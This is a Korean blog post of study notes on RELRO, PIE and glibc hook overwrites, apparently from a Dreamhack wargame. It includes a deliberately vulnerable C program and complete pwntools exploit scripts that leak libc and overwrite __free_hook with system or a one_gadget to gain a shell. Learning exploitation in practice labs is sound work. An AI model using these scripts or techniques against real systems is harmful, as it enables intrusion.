TIL: PIE, RELRO, Hook Overwrite ๐Ÿช

RELRO

RELRO(RELocation Read-Only)๋Š” write ๊ถŒํ•œ์ด ๋ถˆํ•„์š”ํ•œ data segment์˜ write ๊ถŒํ•œ์„ ์ œ๊ฑฐํ•˜๋Š” ๋ณดํ˜ธ ๊ธฐ๋ฒ•์„ ๋งํ•œ๋‹ค. Partial RELRO์™€ Full RELRO ๋‘ ๊ฐ€์ง€๋กœ ๋‚˜๋‰œ๋‹ค.

Partial RELRO

.init_array, .fini_array์™€ ๊ฐ™์€ process์˜ ์‹œ์ž‘๊ณผ ์ข…๋ฃŒ์— ์‹คํ–‰ํ•  function๋“ค์˜ address๋ฅผ ์ €์žฅํ•˜๊ณ  ์žˆ๋Š” section๋“ค์˜ write ๊ถŒํ•œ์„ ์ œ๊ฑฐํ•œ๋‹ค.

Full RELRO

got์˜ write ๊ถŒํ•œ์ด ์ œ๊ฑฐ๋˜์–ด ์žˆ์œผ๋ฉฐ, data์™€ bss section์—๋งŒ write ๊ถŒํ•œ์ด ์กด์žฌํ•œ๋‹ค. (Lazy binding์„ ํ•˜์ง€ ์•Š๊ณ , loading ์‹œ์ ์— ๋ชจ๋“  binding์ด ์ผ์–ด๋‚œ๋‹ค.)

gcc๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ Full RELRO๋ฅผ ์ ์šฉํ•˜๊ณ , PIE๋ฅผ ํ•ด์ œํ•˜๋ฉด Partial RELRO๋ฅผ ์ ์šฉํ•œ๋‹ค.

Bypassing RELRO

Partial RELRO์˜ ๊ฒฝ์šฐ .init_array, .fini_array ๋‘ ์˜์—ญ์„ overwriteํ•˜๋Š” ๊ณต๊ฒฉ์€ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์–ด๋ ต์ง€๋งŒ, GOT overwrite์„ ์—ฌ์ „ํžˆ ์ˆ˜ํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค.

Full RELRO์˜ ๊ฒฝ์šฐ GOT overwrite์ด ๋ถˆ๊ฐ€๋Šฅํ•˜๋ฏ€๋กœ library์— ์œ„์น˜ํ•œ hook์ด๋ผ๋Š” function์˜ pointer๋ฅผ ๋ฎ์–ด ์”Œ์šฐ๋Š” ๊ณต๊ฒฉ ๋ฐฉ์‹์„ ์‚ฌ์šฉํ•œ๋‹ค. (Hook overwrite)

PIE

PIE(Position-Independent Executable)์€ ASLR์ด ์ฝ”๋“œ ์˜์—ญ์—๋„ ์ ์šฉ๋˜๋„๋ก ํ•ด์ฃผ๋Š” ๊ธฐ์ˆ ์ด๋‹ค. gcc๋Š” PIE๋ฅผ ๊ธฐ๋ณธ์ ์œผ๋กœ ์ ์šฉํ•œ๋‹ค.

Bypassing PIE - Code base ๊ตฌํ•˜๊ธฐ

ASLR ํ™˜๊ฒฝ์—์„œ PIE๊ฐ€ ์ ์šฉ๋œ binary๋Š” ์‹คํ–‰๋  ๋•Œ๋งˆ๋‹ค ๋‹ค๋ฅธ address์— ์ ์žฌ๋œ๋‹ค. ๋”ฐ๋ผ์„œ PIE base, or code base๋ผ๊ณ  ๋ถˆ๋ฆฌ๋Š” binary์˜ ์ฃผ์†Œ๋ฅผ ์•Œ์•„๋‚ด์–ด์•ผ ํ•œ๋‹ค.

ROP๋ฅผ ๋‹ค๋ฃจ๋Š” stage์—์„œ library์˜ base ์ฃผ์†Œ๋ฅผ ๊ตฌํ•  ๋•Œ์ฒ˜๋Ÿผ code section ๋‚ด์˜ ์ž„์˜์˜ address๋ฅผ ์ฝ๊ณ , ์ด ์ฃผ์†Œ์—์„œ offset์„ ๋นผ์–ด base๋ฅผ ๊ตฌํ•  ์ˆ˜ ์žˆ๋‹ค.

Bypassing PIE - Partial Overwrite

ASLR์˜ ํŠน์„ฑ ์ƒ code section์˜ ์ฃผ์†Œ๋„ ํ•˜์œ„ 12 bit ๊ฐ’์€ ํ•ญ์ƒ ๊ฐ™์œผ๋ฏ€๋กœ, ์‚ฌ์šฉํ•˜๋ ค๋Š” code gadget์˜ address๊ฐ€ return address์™€ ํ•˜์œ„ ํ•œ byte๋งŒ ๋‹ค๋ฅด๋‹ค๋ฉด ์ด ๊ฐ’๋งŒ์„ overwriteํ•˜์—ฌ ์›ํ•˜๋Š” code๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค.

๋งŒ์•ฝ ๋‘ byte ์ด์ƒ์ด ๋‹ค๋ฅธ address๋กœ control flow๋ฅผ ์˜ฎ๊ธฐ๊ณ ์ž ํ•œ๋‹ค๋ฉด brute forcing์ด ํ•„์š”ํ•˜๋ฉฐ, ๊ณต๊ฒฉ์ด ๋ฐ˜๋“œ์‹œ ์„ฑ๊ณตํ•˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ๋‹ค.

Hook

Hooking์€ OS๊ฐ€ ์–ด๋–ค code๋ฅผ ์‹คํ–‰ํ•˜๋ ค ํ•  ๋•Œ ์ด๋ฅผ ๋‚š์•„์ฑ„์–ด ๋‹ค๋ฅธ code๋ฅผ ์‹คํ–‰ํ•˜๊ฒŒ ํ•˜๋Š” ๊ฒƒ์„ ๋งํ•˜๊ณ , ์ด๋•Œ ์‹คํ–‰๋˜๋Š” code๋ฅผ hook์ด๋ผ๊ณ  ๋ถ€๋ฅธ๋‹ค.

malloc, free, realloc์˜ hook

libc.so์— ๊ตฌํ˜„๋˜์–ด ์žˆ๋Š” malloc, free, realloc์€ ๋””๋ฒ„๊น… ํŽธ์˜๋ฅผ ์œ„ํ•œ hook ๋ณ€์ˆ˜๊ฐ€ ์ •์˜๋˜์–ด ์žˆ๋‹ค.

// __malloc_hook
void *__libc_malloc (size_t bytes)
{
  mstate ar_ptr;
  void *victim;
  void *(*hook) (size_t, const void *)
    = atomic_forced_read (__malloc_hook); // malloc hook read
  if (__builtin_expect (hook != NULL, 0))
    return (*hook)(bytes, RETURN_ADDRESS (0)); // call hook
#if USE_TCACHE
  /* int_free also calls request2size, be careful to not pad twice.  */
  size_t tbytes;
  checked_request2size (bytes, tbytes);
  size_t tc_idx = csize2tidx (tbytes);
  // ...
}

malloc์€ __malloc_hook์ด NULL์ด ์•„๋‹ˆ๋ผ๋ฉด malloc์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์ „์— __malloc_hook์ด pointํ•˜๋Š” ํ•จ์ˆ˜๋ฅผ ์‹คํ–‰ํ•œ๋‹ค. ์ด๋•Œ malloc์˜ argument๋Š” hook ํ•จ์ˆ˜์— ์ „๋‹ฌ๋œ๋‹ค.

free, realloc๋„ ๊ฐ™์€ ๋ฐฉ์‹์œผ๋กœ __free_hook, __realloc_hook์ด๋ผ๋Š” hook ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค.

__malloc_hook, __free_hook, __realloc_hook์€ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ libc.so์— ์ •์˜๋˜์–ด ์žˆ๊ณ , ์ด๋“ค์€ bss section์— ํฌํ•จ๋œ๋‹ค. โ†’ bss section์€ write์ด ๊ฐ€๋Šฅํ•˜๋ฏ€๋กœ hook์˜ ๊ฐ’์„ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋‹ค.

Hook overwrite

__malloc_hook์„ system์˜ ์ฃผ์†Œ๋กœ ๋ฎ๊ณ , malloc("/bin/sh")์„ ์ˆ˜ํ–‰ํ•˜๋ฉด shell์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[0x30];
  unsigned long long *addr;
  unsigned long long value;
  
	setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  puts("[2] Arbitrary-Address-Write");
  printf("To write: ");
  scanf("%llu", &addr);
  printf("With: ");
  scanf("%llu", &value);
  printf("[%p] = %llu\n", addr, value);
  *addr = value;

  puts("[3] Arbitrary-Address-Free");
  printf("To free: ");
  scanf("%llu", &addr);
  free(addr);

  return 0;
}

Vulnerability scanning

  • checksec

  • [1] Stack buffer overflow ํŒŒํŠธ์—์„œ stack buffer overflow๊ฐ€ ๋ฐœ์ƒํ•œ๋‹ค. Stack buffer overflow๊ฐ€ ํ•œ ๋ฒˆ๋งŒ ๋ฐœ์ƒํ•˜๊ธฐ ๋•Œ๋ฌธ์— stack์„ overwriteํ•  ์ˆ˜๋Š” ์—†์ง€๋งŒ, ํŠน์ • ๊ฐ’์„ ์ฝ์–ด๋‚ด๋Š” ๋ฐ์—๋Š” ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.
  • [2] Arbitrary-Address-Write ํŒŒํŠธ๋ฅผ ์ด์šฉํ•ด ์›ํ•˜๋Š” ์ฃผ์†Œ์— ์›ํ•˜๋Š” ๊ฐ’์„ ์“ธ ์ˆ˜ ์žˆ๋‹ค.
  • [3] Arbitrary-Address-Free ํŒŒํŠธ๋ฅผ ์ด์šฉํ•ด ์›ํ•˜๋Š” ์ฃผ์†Œ์˜ memory๋ฅผ freeํ•  ์ˆ˜ ์žˆ๋‹ค.

Library์˜ ๋ณ€์ˆ˜, ํ•จ์ˆ˜๋“ค์˜ ์ฃผ์†Œ ๊ตฌํ•˜๊ธฐ

Stack์—๋Š” main์˜ return address์ธ __libc_start_main์˜ ์ฃผ์†Œ๊ฐ€ ์ ํ˜€ ์žˆ๋‹ค. ์ด ํ•จ์ˆ˜๋Š” libc.so์— ์ •์˜๋˜์–ด ์žˆ์œผ๋ฏ€๋กœ ์ด ์ฃผ์†Œ๋ฅผ ์ด์šฉํ•ด __free_hook, system, "/bin/sh"์˜ ์ฃผ์†Œ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์„ ๊ฒƒ์ด๋‹ค.

from pwn import *

p = process("./fho")
e = ELF("./fho")
libc = ELF("./libc-2.27.so")

# [1] Leak libc base
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_base = u64(p.recvline()[:-1].ljust(8, b"\x00")) - (libc.symbols["__libc_start_main"] + 231)
system = libc.symbols["system"] + libc_base
free_hook = libc.symbols["__free_hook"] + libc_base
binsh = next(libc.search(b"/bin/sh"))
  • Stack์— ์žˆ๋Š” main์˜ return address ์ง์ „๊นŒ์ง€์˜ ๋ถ€๋ถ„์„ dummy data๋กœ ์ฑ„์›Œ buffer๊ฐ€ ์ถœ๋ ฅ๋  ๋•Œ return address๋„ ํ•จ๊ป˜ ์ถœ๋ ฅ๋˜๋„๋ก ํ•œ๋‹ค. gdb๋ฅผ ์ด์šฉํ•ด ์ด 0x48 byte์˜ dummy data๋ฅผ ์ž…๋ ฅํ•˜๋ฉด ๋จ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.
  • gdb๋ฅผ ์ด์šฉํ•˜๋ฉด main์˜ return address๋Š” __libc_start_main + 231์ž„์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

    ๋”ฐ๋ผ์„œ ์–ป์–ด๋‚ธ return address์—์„œ libc ์ƒ์˜ __libc_start_main + 231์„ ๋นผ๋ฉด offset์„ ์–ป์–ด๋‚ผ ์ˆ˜ ์žˆ๋‹ค. โ†’ system, __free_hook์˜ ์ฃผ์†Œ ๊ณ„์‚ฐ ๊ฐ€๋Šฅ

  • "/bin/sh" ์—ญ์‹œ libc์—์„œ search()๋ฅผ ์ด์šฉํ•ด ์ฐพ์•„๋‚ผ ์ˆ˜ ์žˆ๋‹ค.

Exploit

from pwn import *

p = remote("host3.dreamhack.games", 18827)
e = ELF("./fho")
libc = ELF("./libc-2.27.so")

# [1] Leak libc base
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_base = u64(p.recvline()[:-1].ljust(8, b"\x00")) - (libc.symbols["__libc_start_main"] + 231)
system = libc.symbols["system"] + libc_base
free_hook = libc.symbols["__free_hook"] + libc_base
binsh = next(libc.search(b"/bin/sh"))

# [2] Overwrite 'free_hook' with 'system'
p.recvuntil("To write: ")
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(system))

# [3] Exploit
p.recvuntil("To free: ")
p.sendline(str(binsh))

p.interactive()

one_gadget

one_gadget์€ ์‹คํ–‰ํ•˜๋ฉด shell์ด ํš๋“๋˜๋Š” ๋ฏธ๋ฆฌ ์ž‘์„ฑ๋œ shell code๋ฅผ ๋งํ•œ๋‹ค. one_gadget์ด๋ผ๋Š” ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด libc์—์„œ ์‰ฝ๊ฒŒ one_gadget์„ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค. (https://github.com/david942j/one_gadget)

์ด one_gadget์„ ํ™œ์šฉํ•˜์—ฌ __free_hook์„ one_gadget์œผ๋กœ overwriteํ•จ์œผ๋กœ์จ free๊ฐ€ ์‹คํ–‰๋˜๋ฉด ๋ฐ”๋กœ shell์„ ์‹คํ–‰ํ•˜๋„๋ก exploitํ•  ์ˆ˜๋„ ์žˆ๋‹ค

์ด ๋ฐฉ์‹์€ malloc, free ๋“ฑ์˜ ํ•จ์ˆ˜๋“ค์˜ argument์˜ ๊ธธ์ด๊ฐ€ ์ œํ•œ๋˜์–ด ์žˆ๋Š” ๋“ฑ์˜ ์ œ์•ฝ ์‚ฌํ•ญ์œผ๋กœ ์ธํ•ด argument๋กœ "/bin/sh"๋ฅผ ๋„ฃ๊ธฐ ํž˜๋“ค ๋•Œ ์œ ์šฉํ•˜๋‹ค.

from pwn import *

p = remote("host3.dreamhack.games", 18827)
e = ELF("./fho")
libc = ELF("./libc-2.27.so")

# [1] Leak libc base
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_base = u64(p.recvline()[:-1].ljust(8, b"\x00")) - (libc.symbols["__libc_start_main"] + 231)
system = libc.symbols["system"] + libc_base
free_hook = libc.symbols["__free_hook"] + libc_base
og = libc_base + 0x4f432

# [2] Overwrite 'free_hook' with 'system'
p.recvuntil("To write: ")
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(og))

# [3] Exploit
p.recvuntil("To free: ")
p.sendline(str(12345)) # doesn't matter

p.interactive()

๋ฒˆ์™ธ: ์ถ”๊ฐ€๋กœ ์•Œ๊ฒŒ ๋œ ์‚ฌ์‹ค๋“ค

free_hook, og๋ฅผ str()๋กœ ๊ฐ์‹ธ sendํ•˜๋Š” ์ด์œ 

scanf('%d', &addr)๊ณผ ๊ฐ™์ด ์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ ์ˆซ์ž๋ฅผ ์ž…๋ ฅ๋ฐ›๋Š” ์ฝ”๋“œ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ 1234๋ฅผ ์ž…๋ ฅํ•˜๋ฉด ๊ทธ๋Œ€๋กœ ๋ฉ”๋ชจ๋ฆฌ์— 1234๊ฐ€ ์ €์žฅ๋œ๋‹ค. ์ด๋Š” ๋ฌธ์ œ์˜ scanf("%llu", &addr);๋„ ๋งˆ์ฐฌ๊ฐ€์ง€์ด๋‹ค.

โ‡’ ๋”ฐ๋กœ ๊ฐ’์„ byte ํ˜•ํƒœ๋กœ ์น˜ํ™˜ํ•  ํ•„์š” ์—†์ด, string์œผ๋กœ๋งŒ ์ „ํ™˜ํ•ด์„œ sendํ•˜๋ฉด ๋œ๋‹ค. (send๋Š” string์„ argument๋กœ ๋ฐ›๋Š”๋‹ค.)

๋ฐ˜๋ฉด, read, gets, scanf(%s)์™€ ๊ฐ™์ด ๋ฌธ์ž์—ด์„ ์ž…๋ ฅ ๋ฐ›๋Š” ์ฝ”๋“œ๋Š” ์‚ฌ์šฉ์ž๊ฐ€ 1234๋ฅผ ์ž…๋ ฅํ•˜๋ฉด 0x31 0x32 0x33 0x34๊ฐ€ ์ž…๋ ฅ๋œ๋‹ค.

โ‡’ p64()์™€ ๊ฐ™์€ ํ•จ์ˆ˜๋กœ ๊ฐ’์„ byte๋กœ ๋ณ€ํ™˜ํ•˜๊ณ , packingํ•ด์•ผ ์˜ฌ๋ฐ”๋ฅธ ๊ฐ’์„ sendํ•  ์ˆ˜ ์žˆ๋‹ค.

๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ฃผ์†Œ

๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ฃผ์†Œ๋Š” 0x00007fXXXXXXXOOO ํ˜•์‹์„ ๊ฐ–๋Š”๋‹ค. ํ•˜์œ„ 12 bit๊ฐ€ ๋™์ผํ•˜๊ณ , ์ƒ์œ„ 24 bit๊ฐ€ ๋™์ผํ•˜๋‹ค.

Little-endian์— ์˜ํ•ด memory์—์„œ ๊ฐ’์ด ์ถœ๋ ฅ๋  ๋•Œ๋Š” ๋ฐ˜์ „๋œ ์ƒํƒœ๋กœ ๋‚˜์™€ ํ•˜์œ„ 24 bit๊ฐ€ ๋™์ผํ•˜๊ณ , ์ƒ์œ„ 12 bit๊ฐ€ ๋™์ผํ•˜๊ฒŒ ๋œ๋‹ค.

๋”ฐ๋ผ์„œ exploit code์—์„œ return address๋ฅผ ๊ตฌํ•˜๋Š” ๊ณผ์ •์„ ์ž์„ธํžˆ ์‚ดํŽด๋ณด์ž๋ฉด,

  1. p.recvline()[:-1] โ†’ ์ถœ๋ ฅ๋œ ๊ฐ’์—์„œ \n์„ ์ œ๊ฑฐํ•œ๋‹ค.
  2. p.recvline()[:-1].ljust(8, b"\x00") โ†’ address์˜ ๋งจ ์•ž์— ์žˆ๋Š” (์ถœ๋ ฅ๋œ ์ƒํƒœ์—์„  ๋งจ ๋’ค์— ์žˆ๋Š”) 0x00์„ ๋’ค์ชฝ์— ๋ถ™์—ฌ์ฃผ์–ด address๊ฐ€ ์ด 8 byte๊ฐ€ ๋˜๋„๋ก ํ•œ๋‹ค.
  3. u64(p.recvline()[:-1].ljust(8, bโ€\x00โ€)) โ†’ ์ถœ๋ ฅ๋œ ๊ฐ’์„ unpackํ•œ๋‹ค. return address๋Š” ์ฝ”๋“œ์—์„œ printf("%s") ๊ผด๋กœ ์ถœ๋ ฅ๋˜๋Š”๋ฐ, string์€ memory์— ์ €์žฅ๋œ ์ˆœ์„œ ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅ๋˜๋ฏ€๋กœ unpack์ด ํ•„์š”ํ•˜๋‹ค.

Categories: ,

Updated:

Leave a comment